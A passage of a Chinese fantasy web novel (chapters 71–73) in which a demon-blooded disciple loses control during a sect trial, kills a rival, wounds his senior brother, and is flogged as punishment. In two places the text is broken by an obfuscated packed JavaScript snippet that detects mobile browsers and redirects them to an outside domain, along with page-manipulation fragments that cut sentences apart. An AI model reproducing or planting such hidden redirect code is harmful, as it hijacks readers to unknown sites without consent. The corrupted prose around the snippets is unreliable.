“无事。”玄仪子回过神来,“含盈,我先回去了。”简单的算是算不出来了,他需回去借助工具再算。 “好。”梁惜因怕耽搁了他,未再多言。 临走前,玄仪子满目忧色地望了她一眼,但终是什么都没说,身影消失在了人群中。 “前辈这是...?”重霄从方才起就觉出不对劲了。他久闻卜星阁阁主能看穿一个人的命数,而玄仪子刚刚那副神情...莫不是看出什么来了? 梁惜因记忆中的玄仪子一直都是极为游刃有余的,鲜少有这般情绪外露的时刻,她担忧地说:“不知,待我回去后再去信问问他。”但愿无事。 见重霄低着头,似在思量什么,她又转移话题道:“好了,你也莫要多想,五日后就是宗内的秘境试炼了,准备得如何?” 重霄果然不再纠结方才之事,答道:“弟子定不会让师尊失望。” 梁惜因闻言笑道:“无甚失不失望的,不必紧张,平安出来便好。” 71. 秘境 此次试炼的地点选在了万幽谷。试炼开始前,谢既微照例在高台上讲述着规则。重霄站在台下,面容精致,长身玉立,光是简简单单地立在原处,就吸引了不少女修的视线。他对这些视线一概视若无睹,隔着人群注视着他那高台之上的心上人。梁惜因正巧也在看他,视线撞上的那一刻,她展颜对他露出了一抹笑意。 呼吸微微一滞,重霄凝望着她,将这抹笑意收入了心间。 正式进入秘境前,常谧对两个师弟说:“不必过于在乎名次,尽力即可。” “好,师姐,我会努力的。”纪长天握紧双拳,瞧着干劲满满。 重霄也应道:“是,师姐。” 踏入秘境后,四周的人声在一瞬间消散殆尽。重霄飞速打量着周遭环境,只见怪石嶙峋,杂草丛生,显然不是一个藏身的好地方。他心内已有了打算,迅速迈开步子向不远处被浓雾环绕的石林走去,不论如何,先找个地方布阵再说。 高台上,各峰峰主和长老兴致勃勃地在影像前围观了一会,待兴致过后,又都散去了。毕竟这试炼五年一次,每次除了换个地点便都无甚区别。且此次试炼共持续三日,要看也不急于这一时。 于是众人开始了玄晖宗的传统活动——叶子牌。梁惜时对还站在影像前的梁惜因喊道:“阿因,过会再看也无妨,三缺一现在。” “好,我马上来。”话是这么说,但她依然没有挪动脚步。不知为何,她这几日一直心神不宁,总觉着有事要发生。影像中她的三名弟子都已布好阵,正等着人或兽类上钩,一切看上去都再正常不过。 她摇了摇头,把那些恼人的想法甩出去,应是她多思了。“来了。”她转身向梁惜时几人走去。 待她坐下后,梁惜时无意瞥见了她脸侧的白玉耳环,随口问道:“新买的?此前没见你戴过。” “对。”梁惜因莫名觉着,还是不要告诉她哥这是阿霄亲手做的为好。 谢既微率先出牌,偏头问扶岳道:“你和上回说的那姑娘怎么样了?” 扶岳抽了张牌扔在桌上,语气颇为自得:“有重大进展。” 梁惜因的目光在手中的牌和桌案上的牌来回移着,闻言好奇道:“哦?说来听听。” “我已经打听到她名字了!叫林韵舒。” 其余三人:“......”他们到底在期待什么啊。 梁惜因仰天叹道:“我可还等着喝你们的喜酒呢。” 扶岳咧嘴笑道:“含盈你且等着,到时候定然第一个请你!” 他正待再出牌,一看牌却是惊了:“等等!我怎么就要输了啊?发生啥了?” 谢既微将最后一张牌掷出,伸出手对扶岳道:“愿赌服输。” 扶岳从乾坤袋中摸出灵石抛到他手中,咬牙说:“再来,下一把我定能赢!” 到了晚间,扶岳一手捏着空空如也的乾坤袋,一手悲伤地捂住了脸,其余三人则在旁数着今日从扶岳那赢来的灵石。梁惜因抽空看了眼扶岳,强忍着笑安慰他道:“无事的扶岳哥,明日再赢回来便是。” “不,”扶岳摇头,看上去那叫一个万念俱灰,“我再也不打牌了。” - 秘境内,重霄半倚着身后的巨石,借着微弱的月光垂眸看着手中令牌的排名。像这种试炼,阵修的排名自是不会有多靠前,是以他看了一眼便又将令牌藏了回去。 他眼下并无睡意,满脑子想着的都是梁惜因。分明上午才见过面,他却又按捺不住心头的思念了。很快了,他对自己道,还有两日,就能见到她了。 胸口突然传来一阵闷痛,重霄皱眉,看向萦绕着手掌的缕缕黑雾。这几年来,他瞒着梁惜因用怨气修炼,渐渐也能控制一些怨气了,但前提是他能压制得住。他体内的怨气仍会时不时的失控溢出,只不过间隔的时间越来越长了。而每当这时,他多会自己忍着剧痛,咬牙用灵力将怨气压制下去,避免被其侵占神智。 怎么偏偏在这时...他凝神将溢出的几缕怨气重新收回体内。还有两日,他说什么也要控制住。 这一晚,他只在接近黎明时小憩了会。日光堪堪照彻大地,他便动身换了一处地方布阵。只是这换与不换的区别也不大,第二日重霄仍是收获寥寥。想来是因他在外围布阵,来此的修士和兽类太少的缘故。 是以到了第三日,他继续往石林深处走去。而越往深处走,他就越明白这山谷为何被唤做“万幽谷”。阳光逐渐稀薄,雾气愈发浓稠,让人一点都感受不到此刻正值日出。各种相貌奇异的灵植在地上闪着或紫或蓝的微光,凭添奇诡。大石在浓雾中影影绰绰,徒留一道道巨大的黑影,像是暗中窥探的妖魔,随时准备将来往的修士吞入腹中。 重霄独自走着,伴着他的只有行进时极轻的脚步声。 就在这无比静谧之时,一道破空之音猛地自身后传来。重霄反应极为迅速,微微一侧身,那道符咒便擦身而过,直直地打在了不远处的一块巨石上。巨石看似无恙,然而几息之后,自符咒打上去的地方便出现了一道裂纹。 “咔嚓——”裂痕越扩越大,覆满了整个石面,最终那几可参天的巨石彻底化为了一地大小不一的碎石块。 重霄沉下脸,规则中虽说可以抢夺他人的令牌,但彼此都是同门,众弟子也是心知肚明的点到即止。这人下手这般狠,倒像是生怕将人打不残一样。 “哟,运气不错嘛,这都能躲过去。”一道身影慢慢从浓雾中显现出来。来人身着天玑峰弟子服,两指夹着几张符纸,身后还跟着一高一矮两个男修。 许是见重霄孤身一人,那人一挑眉,极为不客气的说:“天玑峰关度。若是不想受苦,就乖乖把令牌交出来。” 重霄:“......”谁问你了? 那高个子附和道:“听到没,还不快把令牌交出来,饶你不死!” 还真是...口无遮拦。重霄面不改色,淡声说:“抢赢了,就算你的。” “一个阵修,口气还真不小啊!”关度恼道,话说到一半时就将手中符纸尽数掷出。重霄一一侧身躲过,心中对这三人的实力也有了个估计——不过是虚张声势之徒罢了。但往往也是这种人,一旦被缠上就极难甩掉。 他摸出一把阵石,往关度的关节处弹去,阵石极小,在浓雾中几乎是隐匿的。五枚阵石,全中。 “嗷——”关度惨叫一身,跌倒在地。他边手脚并用地往后退边厉声对两个跟班道:“愣着干嘛,快上啊!” 两人这才如梦初醒,霎时就甩了几十张符过来,任谁都躲不掉。重霄早有预料他们会来这一招,在弹出阵石的同时就已布好了金光护体阵。 他往阵中注入灵力,金光浮现,阵起。符纸打到阵上,又四散着飞向周遭的巨石,一时巨响连连,所带起的风将浓雾都打散不少。 而在金光之下,重霄微不可察地拧紧了眉,熟悉的剧痛自心口涌向全身。这些怨气安分了这么久,早就蠢蠢欲动起来,想要突破这具身体的限制。重霄本是用灵力压制着它们,只是布下这一道金光护体阵后,他体内的怨气与灵力已隐隐有了失衡的态势。 哪怕只是一个极小的豁口,这些被压制久了的怨气也会不遗余力地侵吞他的意志。重霄咬紧牙关,手不自觉地摸向被藏起的那块令牌。若是在秘境中遇到应付不来的情况,弟子可以主动丢弃令牌,视为放弃排名。 可这是他入宗以来首次进入秘境试炼,他不想就这么放弃。他想有一个好名次,想让梁惜因笑着夸赞他...是了,梁惜因。仅仅是想到这个名字,重霄就觉浑身的剧痛骤然消下去不少。 他的手从令牌上移开,梁惜因说不定就在外面看着他,他不能表现出异样。还有不到一日的时间,等到黄昏时,就能出去了。 那两个跟班全然没料到这走向,一时呆愣在原地。他们见重霄没有动静,一人拽着关度的一条手臂就想跑。怎料在这时,又有几枚阵石飞了过来,两人同时发出惨叫,跌坐在关度身前。重霄缓步走出金光阵,指尖轻动,再次掷出了几枚阵石。 三人顿时紧闭双眼,但那阵石并没有打在他们身上,而是落在了他们身侧。几枚阵石全都落地的一瞬间,地面上凭空生长出几条藤曼,牢牢束缚住了他们的手脚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822534|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>重霄又向前走了几步,蹲下身去摸距他最近的那矮跟班的令牌。适才双方一直隔着段距离,浓雾让他们看不清对方的样貌。而这一走进,重霄眉间的纹样猝然映在了他们眼底。 关度立时大喊道:“魔族!你就是天璇峰上那个魔族小子!难怪这般卑鄙无耻!” 重霄勾起一侧唇角,眸中却不带任何笑意地讥道:“总好过某些喜欢偷袭的人。” 这话像是戳中了关度的痛处,他大骂道:“少得意忘形了,不过是侥幸入了玄晖宗,还真把自己当个人物了?修为再高又如何,说到底也只是个魔族!” 矮跟班失了令牌,身形渐渐淡去,重霄转头又去取高跟班的令牌,对关度的话置若罔闻。 被忽视的关度愈发恼怒,换着法子骂道:“梁含盈当初就该让你自生自灭,这么爱多管闲事,非要捡个祸害回来!” 高跟班在被传出秘境前,最后看到的是重霄骤然阴沉下来的面色,好似风雨爆发前的层云,平静得令人心慌。那一刻他莫名有些庆幸,还好自己在这时出去了。 这几人闹出的动静太大,影像前早已围了一众峰主和长老。在见了重霄的表现后,不少修士都对梁惜因道:“梁峰主真是教了个好徒弟啊。” “是叫重霄吧?这身手和反应速度,后生可畏啊。” 连梁惜时都摩挲着下巴说:“这小子,还真有几分实力。”他很快又补充一句,“都是我妹妹教得好。” 梁惜因含笑回应着众人:“诸位谬赞了。”她的徒弟,那自然是最好的。 可众人的神色很快就变了,在关度喊出那句话后,诡异的寂静逐渐弥漫开来。梁惜时目光冷冷地望向一人:“潘长老,若是我没记错,这是你的徒弟吧?” 潘长老比他更为气愤,脸色铁青:“峰主,关度他一向心术就有些不正,我平日里便对他严加教导,也实是没料到他会做出这种事、说出这种话来!峰主且放心,待他出来了,我定饶不了他!” 梁惜时冷哼一声,不置可否。 在他质问潘长老的同时,谢既微一直注意着梁惜因的神情,温声对她说:“含盈,你莫要在意这小子的浑话。” 梁惜因摇摇头,目光依旧落在影像上,她在意的不是关度说了什么,而是重霄。她能看出来,她的小徒弟有几分不对劲。 一片无言中,不知是谁说道:“是我看错了吗,含盈那小徒弟身上缠着的...是魔息吧?” 这人话音刚落,对应的影像就骤然暗了下来,再无动静。 众修士面面相觑:“咦?怎么回事?” “我还是第一次遇到这种情况。这么多年了,影像从未失灵过啊。” “影像是由留影符实时记录的,莫不是秘境中的符出了什么问题?” “不,参加试炼的弟子中无人有能毁符的修为。” 在一句接一句的嘈杂声中,梁惜时迅速说道:“是有人将符遮住了。” 他语意未尽,若只是简单地将符蒙住,声音还是能传过来的。而眼下这影像无声无息,那蒙住留影符的只可能是两种东西——魔息,或是怨气。只有这两样东西是与灵力相互抵触的。 梁惜因显然也想到了这一点。像是被冷水兜头而下,一股突如其来的凉意席卷了她全身。她努力不去想重霄为何要遮住留影符,不容置疑地说:“打开秘境,我要进去。” 梁惜时担忧地握住她的手:“阿因,别忧心,会没事的。” 有人迟疑着道:“有必要开秘境吗?这都最后一日了,要不了多久秘境就自动打开了。” “是啊,都是一个宗的弟子,还真能闹出什么事来不成?开秘境也是需要时间的,说不定进去后这两人早就握手言和了。” “梁峰主,你这就是思虑过甚,对徒弟不能太溺爱,要...”他话未说完就止住了,因为扶岳在一旁恶狠狠地盯着他。他毫不怀疑要是再说下去,扶岳会直接化作虎形扑向他。 一时之间,众人意见各异,很快又随着谢既微的一声令下噤声了。谢既微站在人群最前方,白衣白发,纤尘不染,抬手道:“打开秘境。” 72. 血染 心口的钝痛再度袭来,丝丝缕缕的怨气在他周身缭绕着,重霄一步一步走向关度,居高临下地质问:“你说什么?” 几缕怨气脱离他的身体,覆向了不远处的留影符。他不知梁惜因此刻是否就在高台上看着这一切,他只知道——不能让她听到这些话,也不能...让她看到他现在这副模样。 “怎么?急眼了?”关度反倒兴奋起来,“不就是说了句你师尊吗?就这般听不得旁人说她?” 不要听他说,将他的令牌拿走...重霄的大脑疯狂叫嚣着,脚步却无法挪动分毫。他一手按在心口上,身体微不可察地轻颤着,光是压制体内蠢蠢欲动的怨气就几乎耗尽了的他全部心神,他实是没有余力再有其他动作。 见状,关度更是嚣张,大笑几声道:“你说你那师尊和掌门他们走得那么近,他们之间该不会...” “住嘴!”重霄再无法忍受,一道怨气挟着千均的力道砸向他。可关度竟趁他方才不注意之时挣脱了藤蔓的束缚,顺地一滚躲过了袭击。 重霄的大脑一时清明,一时混沌。他看着浓稠的黑雾和被吓呆了的关度,额上浸满了冷汗。脚步一个踉跄,他再也支撑不住地跪坐在地。他刚刚...差点杀了他。他不在乎关度是死是活,若是可以,他甚至想亲手将他千刀万剐。可他不敢想到时梁惜因会用何种眼神看他。 愤怒,失望,还是...厌恶? 他知现在丢掉令牌也无济于事了,已经溢出的怨气并不会随他一同被传送出去,反而会更为肆无忌惮地横行于秘境间。不受控制溢出的怨气愈来愈多,兴奋地翻滚着、叫嚣着,渴望着杀戮与毁灭。关度吓得双腿发抖,他咽了口唾沫,硬气道:“吓唬谁呢!还不将你那魔息收回去!”一张符纸破空袭来,重霄躲闪不及,左脸上出现一道划痕。 鲜血滴落下来,一滴一滴,落在了他的手背上。鼻尖萦绕着极淡的血腥味,重霄抬起手,看着那几滴刺目的鲜红。 他知道,事情开始失控了。 疼痛和鲜血剧烈刺激着他,转眼间,重霄整个人都被淹没在了猛涨的怨气中,黑气冲天,连浓雾都被吞噬殆尽。往日只会嚎叫和哀哭的声音此刻无比清晰的在他脑中道:“杀了他。” “你实力这么强,怕他作甚?” “他怎么敢说出那种话的,必须要给他点教训。” “一条人命而已,动动手就行,有何好犹豫的?这般唯唯诺诺。” “杀了他,杀了他,杀了他!” 等重霄再次抬头看向关度时,眼里布满了血丝,眉间的纹样流溢着极为浅淡的赤红色微光。关度哪怕再横,这下也被他盯得腿脚发软。这人...当真只是魔族吗?他转身欲跑,再见到被此间动静吸引来的其他弟子后,立马喜道:“救...” 他才堪堪吐出一个字,整个身体就被飞速涌来的怨气贯穿了。且不止一道,是十几道。关度身上霎时多了大大小小十几个窟窿,直接成了个血人。他双眼瞪大,向前扑倒在地,至死都没反应过来。 赶来的弟子见他死状如此凄惨,无不大骇,全都将各自的武器横在胸前。他们远远地见此处黑气冲天,还以为是有什么高阶魔兽在此,没曾想一来就看到了这般景象。 怨气沾了人命,更是兴奋,令人胆战心惊地在半空中肆意舞着。赶来此地的修士越来越多,他们围成一圈不敢靠近,议论声却是越来越大。 “那不是天玑峰的关师兄吗?怎会死得这般惨?” “发生何事了?魔兽呢?等等,那魔息中间的,好像是个人?!” “对,我见过他,是天璇峰的重霄!” “那个魔族?他怎会变成这副模样?好像...怪物啊。” “管他呢,刚刚我可是亲眼看到了,就是他杀了关师兄,魔族到底是魔族,对他再好又有何用?好歹是同门,结果他说杀就杀!” “为关师兄报仇!为关师兄报仇!” 人声鼎沸,但重霄已是听不清了,只有那声“怪物”清楚地钻进了他耳中。怪物啊,他有多久没听人这么叫过他了?身上无一处不在痛,他嘴角却勾起了一抹笑意。是啊,他自始至终,都不过是个怪物而已。 好吵,头好痛,把他们都杀了...是不是就能安静了? 众人交换着视线,试探着向前挪动步子,逐渐对重霄形成包围之势。嚷嚷着复仇的那几名修士对视一眼,同时驱动手中武器,向陷在黑雾中的重霄袭去。 然而这些攻击全都被一人挡下了。 纪长天展着双翅从天而降,他背对着众人,将重霄护在了身前。玄鹤一族的羽翼刀兵不入,是天然的防护罩。那些武器在碰到他双翅的瞬间便被弹落到一旁,斜斜地插进地里,又重新被各自的主人召回手中。 纪长天转身,宽大的羽翼将重霄完全挡在了身后。他目光坚毅,头一回在这么多人面前没有磕绊的大声道:“休要伤我师弟!” 有修士喊道:“纪师兄,你师弟已经疯了!他方才亲手杀了关师兄,这可是有人亲眼看到的!” 纪长天自是也看到了地上那具死状奇惨的尸体,他睫毛微颤,喉结上下滚动着,似是有些害怕,脚步却没挪动分毫,依旧坚定无比地说道:“事情究竟如何,待出了秘境,师尊和掌门他们自有定...” 人群中猝然响起一阵吸气声,不少人都难以置信地捂住了嘴,有些胆小的女修甚至将眼睛也捂上了。 只见人群中央,一道黑雾穿透了纪长天的胸口。鲜血自伤处涌出,染红了白色的宗服、白色的羽翅,还有白色的鹤纹玉佩。 那是师弟送与他的第一件礼物,他一直好生珍藏着,从不舍得让它沾染半点灰尘。 纪长天口中涌出一口血,他艰难而缓慢地扭头看向重霄,神色除却痛苦,便是茫然。“师...弟...”嗓音破碎而含糊,眼前的画面也愈发模糊,他再难站立,倒在了地上。宽大的羽翼覆盖着他的身躯,其上沾惹着鲜血与尘土,早就洁白不再。 面前没了遮挡,重霄视线下移,透过重重怨气看向倒在身前的人,神智有一瞬的清明。他认得这对羽翅,那是他师兄纪长天的。是了,师兄,他迟缓地思考着,师兄为何会在这里?又为何...会倒在血泊中? “长天!”梁惜因拨开人群冲向前,将失去意识的纪长天半揽进怀中,她伸手探了探他的鼻息,心里微微松了一口气。万幸,来得还不算太迟。 受此重伤的纪长天再难维持人形,身形逐渐缩小为一只白鹤。这时高台上的其他修士也都赶到了,梁惜因赶忙将纪长天交到玉衡峰的何峰主手中,飞快说道:“拜托了,何峰主!先将他的命保住,再送他回合虚山,那里的环境更适合他休养。” “啊?好。”何峰主接过白鹤,深知此事拖不得,连忙踏进梁惜因为她布的缩地阵中。 见到了自家师尊,先时被吓呆了的弟子才像找回主心骨般,俱是开口说道:“好吓人,说动手就动手。” “丧心病狂,简直是丧心病狂,连自己的同门师兄都不放过!若不是梁峰主及时赶到,只怕是...” “我全都看见了!那魔族小子杀了关师兄还不够,又要杀纪师弟!” 不止是这些弟子被吓住了,宗内的峰主和长老们在进入秘境前也全然没想到会出现这种事。但他们到底是做师尊的人了,并未在弟子面前多做议论,只是静静的等着掌门发话。 而谢既微则看向了梁惜因。 梁惜因不顾梁惜时的阻拦,坚定地迈步走向重霄。重霄跪坐在地,脸上的伤口已近干涸,只余一道暗红色的疤痕。发带自方才起就已散开,墨色的发丝垂在他脸侧,遮掩了他的神情。 若说纪长天令他的神智有了片刻恢复,那梁惜因的到来便是让他彻底清醒了。周身的怨气骤然收敛不少,先前的景象一幕幕的在他脑海中重现,耳边传来的话语是如此清晰,字字句句,重复的皆是他的罪行。 他最担心的事到底还是发生了。他并不后悔杀了关度,这种人合该为自己的口不择言付出代价。可是...师兄。纪长天方才挡在他面前的身影与几年前在饭堂时的身影逐渐重合,变强了又如何?他照旧护不住自己重视的人,乃至亲手伤了他,伤了他的师兄。重霄甚至不敢回想纪长天倒地时的模样。 怨气已然平息下来,按理说他周身的疼痛也该消失了。可他的心口为何还是这般痛?撕心裂肺地痛。他有何脸面再回天璇峰?又有何脸面再去面对梁惜因? 是了,怪物终究是怪物,只会给身边之人带来祸患。那些人说得对,他丧心病狂,他无情无义,他罪该万死。或许从一开始,他就不该沉溺于这场虚妄的美梦中,去妄图融入本就不属于他的世界。 这场幻梦延续了五年,但只要是梦,就都有醒的时候。 人群的声音慢慢小了下来,所有人的目光都集中在中间那对师徒身上。梁惜因静默无言地站着,神色晦暗难明。初来之时,她见重霄被怨气包裹着,面目狠厉,几乎有些不敢相认。但此时看着眼前跪着的人,她又觉再熟悉不过了。 这是她从小带到大的徒弟重霄啊。别人可以误解他、抹黑他,但她作为师尊,难道还会不清楚他的心性吗?是以哪怕关度的尸体就横在不远处,证据看似确凿无比,她也只是淡淡道:“先回宗吧。” - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826471|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >玄晖宗内的气氛从没像今日这般凝重过。众长老和峰主齐聚在天枢峰的主殿内,重霄身为“罪人”跪在殿外。除此之外,还有不少前来围观的弟子,包括在事发现场的和提前出了秘境但听了消息后赶来的。 他们无比稀奇地看着殿前跪着的重霄,像是第一次知道有他这个人一样,私语声不断:“就是他杀了关师兄?真是看不出来啊。” “两位梁峰主是亲兄妹,他却亲手杀了天玑峰的关师弟,其心可诛!定要严惩才是!” “我说当初就不该把他留在宗内,那可是魔族!非我族类,其心必异!这不就出事了嘛。” 常谧站在人群中,身影显得那般单薄孤寂。她在第二日下午出了秘境,而到了第三日上午,她就听闻自己的一个师弟伤了另一个师弟,叫她焉能不心惊?下唇被咬得泛白,她正欲开口反驳,但有一道声音比她更快。 “魔族也不一定都是坏的吧?”一片窃窃私语声中,段凌轩的大嗓门显得格外突兀。 众人沉默一瞬,适才开口的那人不满他这话,立马回道:“这还有什么一定不一定的?那魔族小子杀了关师兄可是板上钉钉的事实!” “怎么?你亲眼见着了?”段凌轩抱着手反问。 “没有。”这人一时语塞,很快又梗着脖子道:“那又如何!在场好多人都亲眼见着了!” “我不和你谈别人,我就只说你。事情究竟如何,掌门他们还没商议出个结果来,你就这般急匆匆的要给他定罪,莫不是你权力比掌门还大?”段凌轩不紧不慢地说着。 “你!”这人气急,指着段凌轩喊道:“你何故如此偏袒一个魔族!难不成你和那杀人犯是一伙的?” 段凌轩往前逼近几步,不甘示弱地说:“去你的,谁和他一伙的?我早就看他不顺眼了,但老子我更看不惯的是你这种断章取义、偏听偏信之徒!” 这人被他噎得哑口无言,原地怔愣片刻后就直接扑了过来,和段凌轩扭打在一处。段凌轩一个体修根本不带怕的,挥着拳头道:“打就打!老子正愁一肚子火没处发呢!” 人群惊呼着向旁退去,有不少人试图阻止他们:“别打了!都住手!”只是两人此刻都处在气头上,哪还能听得进其他话?越打越激烈,大有不死不休之势。 殿内,谢既微坐在最前方,还没开始议事他面上就显出疲色来。他目光落在梁惜因身上,正色问道:“含盈,你那小徒弟,当真是魔族吗?” 在他们刚赶到之时,那黑雾可谓是铺天盖地。他们不是普通的宗内弟子,自然不会分辨不出那究竟是魔息还是怨气。 梁惜因知此事已没有再瞒的必要了,也瞒不住了。她将重霄的异状一一说出,包括那会不时溢出的怨气和其所带来的痛楚,“我敢担保,今日之事绝非他本意,望掌门明察。”她嗓音清亮。 殿内众人彼此对视几眼,皆是惊疑不定:“我从未听闻过如此匪夷所思之事!” “怨气怎么可能会在人的体内?此言当真不是梁峰主在给她那小徒弟开脱吗?” “不会,殿内的诸位可都是亲眼看见了,那黑雾分明就是怨气!” “难怪我见他第一眼就觉他与其他魔族不一样,原来如此,原来如此...” 谢既微知梁惜因所言皆真,也正是因为如此,事情才愈发复杂,饶是他也从未听说过什么怨气入体、控人心神之事。此事若处理不好,只怕是会后患无穷。 他沉吟片刻,示意门口的长老将重霄带进来。那长老领命出殿,而甫一出去,他就看到了不远处厮打在一起的两人。 长老:“......”头疼,这一件事还未处理好,这些不省心的弟子又惹出一桩事来。 他挥手让重霄快进去,随即大步向那两个打得昏天暗地的弟子走去:“诶!做什么呢你们!” 这两人打得太狠,一时竟无人敢上前分开他们。人群见劝架劝不动,干脆开始在旁打赌到底谁会赢,看到精彩的招式后还会叫好几声。此刻见有长老来了,那些叫好之人纷纷噤声,眼观鼻鼻观心,一个个看上去都乖得不行。 被围在中间的段凌轩和那人也察觉出不对来了,在躲避攻击的同时,段凌轩余光瞥见了双眼快要冒火的长老,顿时原地立正,握住那人的手道:“长老好,我们闹着玩呢。” 那人的手指都快被他捏断了,还不得不咬牙配合他道:“是啊长老,我俩是好兄弟来着。” 长老:“......”他看上去很像傻子吗?你们但凡先把嘴角的血擦了都会显得可信些。 他努力按捺住才没有骂出声来,抬手指着一处角落,狠狠道:“给我滚到那站着去!” 73. 受罚 重霄走进殿内,所有人的目光一时全都落在他身上,每一道都显得如此意味深长。他知梁惜因就在他身旁不远处,可他却连往那看上一眼的勇气都没有。 他半垂着头,像什么稀有物件般的接受着众人的审视。 谢既微的声音不大,却清楚地传到了每个人耳中:“弟子重霄,你可承认是你杀了关度,伤了纪长天?” “承认。” “你师尊说这本非你本意,你是被怨气操纵的失了心神,这你可承认?” 身侧的手不断握成拳又松开。“......承认。”他道。 谢既微一手抵着额角:“即便如此,你体内怨气难控,倘以后再有此类事发生,该当如何?” “弟子愿以死...” “掌门。”梁惜因打断他,几步站到了他身前,拱手对谢既微道:“重霄是我的弟子,此前是我欺瞒众人,此次出事我也难辞其咎。往后我会看顾好他,定不会再让此类事情发生。若有,我愿与他一同受罚。” “阿因!”梁惜时焦急出声。 梁惜因望向他,缓慢而坚定地摇了摇头。梁惜时眼前一阵阵的发黑,他当初说什么来着,就不该让这小子留下来!扶岳生怕他直接倒了,连忙上前将人扶住:“撑住啊,惜时。” 梁惜时紧紧盯着重霄,咬牙道:“我好得很。” 谢既微阖了阖双眼,半晌,他才终于启唇道:“重霄,不论出于何故,你到底是杀害了同门。念你情况特殊,特允你留在玄晖宗内,但仍要按规受罚。着按宗门法度,处以戒鞭四十,戒律堂前罚跪七日,并不得再出天璇峰。如此,你可有异议?” 修仙界内,这种情况一般都是先将人打个半死再逐出宗门,谢既微这般处理已算是宽大了,更别提重霄根本就没想过还能留在玄晖宗内,还能...留在梁惜因身边。惊喜涌上心头,他当即行礼道:“弟子谢掌门开恩。” 这求之不得之事,他又怎会有异议。 谢既微眸光轻移,又问道:“潘长老可满意此般结果?” 潘长老脸色灰白,不过一个上午不到的功夫,就变得憔悴许多,“听凭掌门处置。”事已至此,人死不能复生,他除了接受又还能说些什么呢?难不成真让重霄一命还一命? “多谢掌门。”梁惜因呼出一口气。可这一口气还没松完,她就听得有质疑声传来。 “掌门,此番责罚是否太轻了些,他可是差点连杀两人啊!谁知道日后还会做出什么事来?” “此人身怀怨气,难以管教,就这般留下无异于养虎为患,还望掌门三思。” “是啊掌门,这以后要再出了什么事,整个玄晖宗都会被他连累!” 梁惜因的胸口不断起伏着,指甲陷入掌心。扶岳比她更先忍不住地驳斥道:“得了吧诸位,口口声声说什么责罚太轻,要是换了你们去受那四十戒鞭,都不一定能受得住,少说也得在床上躺个三五个月的。况且掌门不都说了不让他再出天璇峰吗?就算闹事也闹不到你们那去,又不是你们的弟子,这般激动做甚?” “你!” “我什么我,说得不对?”扶岳挑眉。 出言的那人瞪着眼,正欲张唇再辩,谢既微却将手轻抬,底下顿时又恢复了一片寂静。他谁也没看,对掌刑的长老说:“此事不必再议。穆长老,交给你了。” 按宗门法规,但凡有弟子所犯的错严重到需动用戒鞭,则每峰峰主都需携部分峰内弟子在旁观刑,表面上说是为显公平公正,实则也是为了震慑。 耀阳当空,日光灿灿,却仍有照不尽的角落。空中连一丝风也无,直闷得人喘不过气来。 “啪——”戒鞭划破空气,带着十足的力道落在重霄背上,鲜血淋漓。重霄跪得笔直,紧咬牙关,一声痛呼也无,只是不时从齿间泄出几声闷哼,又很快被掩盖在凌厉的鞭声之下。 “啪——”,“啪——”,“啪——”。 穆长老掌刑二十余年,铁面无私,落鞭之时毫不留情,重霄身上的白色宗服很快就成了件血衣。而比原本的宗服更为苍白的是他的脸色,额上汗滴不断,一滴一滴,跌落在地,还没来得及洇进地里就被烈日蒸发了,再无踪迹。 前来观刑的人将戒律堂围得密不透风,无人说话。看客无言,罪者无言,鞭笞无言。 梁惜因的身子轻微发着颤,身后的常谧担忧地扯了扯她的袖子。梁惜因微微侧首,哑着嗓子低声说:“你先回去吧,此处有我就行。” 常谧摇头:“弟子陪着师尊。” 四十下戒鞭,好似转眼便结束了,又好似光阴再度轮转了一轮。 穆长老将戒鞭收起,见重霄依旧笔挺地跪着,心下微奇。此前他施刑时,别说是四十下了,打到十下时受刑的弟子就开始哭爹喊娘了。此子心性过人,只可惜...想到那怨气之说,他不由叹了口气。 围观的人群渐渐散去,每个人都低垂着头,不知再想些什么。梁惜因失神地站在原处,又被梁惜时拉着向外走去。她知梁惜时是有话要对她说,便乖乖跟着他去了天玑峰。 梁惜时本来憋了一肚子的大道理要说,回头见梁惜因眼眶泛红,又一个字都吐不出来了,最终也只是极轻地点了点她的额头,无奈道:“你啊...” 梁惜因再也忍不住,眸中的水汽凝为泪珠,顺着脸颊滑落下来。面前之人是她从小相依为命的哥哥,是她在这世上唯一的亲人,她所有的情绪都无需对他隐藏。 “哥,我不知道事情怎么会变成这样。他体内怨气虽时有溢出,却从未妨害过旁人。是我把事情想得太容易了,我以为真能就这么平安无事地过下去...” 梁惜时将她眼角的泪拭尽:“事发突然,谁都不曾预料到,这本就不是你的错。” “可...此次到底是死了一名天玑峰的弟子。”梁惜因道。 “不必有愧,关度出言无状,有些话在说出口前他就该考虑到后果。”虽说这后果未免过于沉重了些。 梁惜时顿了片刻,继续道:“重霄那小子...我会与你一道看顾着他。怨气一事虽是闻所未闻,但前人所留书册浩如烟海,仔细查找一番,总能找出蛛丝马迹来。此后若当真又出了问题,我也会与你一同担责。” 梁惜因猛然抬眸:“哥,你不必...” “好了,”梁惜时一指抵在她唇前,“一家人不说两家话。既是你做出的决定,哥哥便会一直支持你。” “哥...”梁惜因的声音再度哽咽起来。 “怎么还和小时候一样,动不动就哭鼻子。”他将人揽进怀中,轻抚着她的后背,“好了,事情不是已经有结果了吗,哥哥在这呢,别担心。” “嗯。”梁惜因将脸埋在他肩头,感受着那再熟悉不过的气息。 “哥,重霄他...” “会好的。” “......哥。” “嗯?” “你真好。” 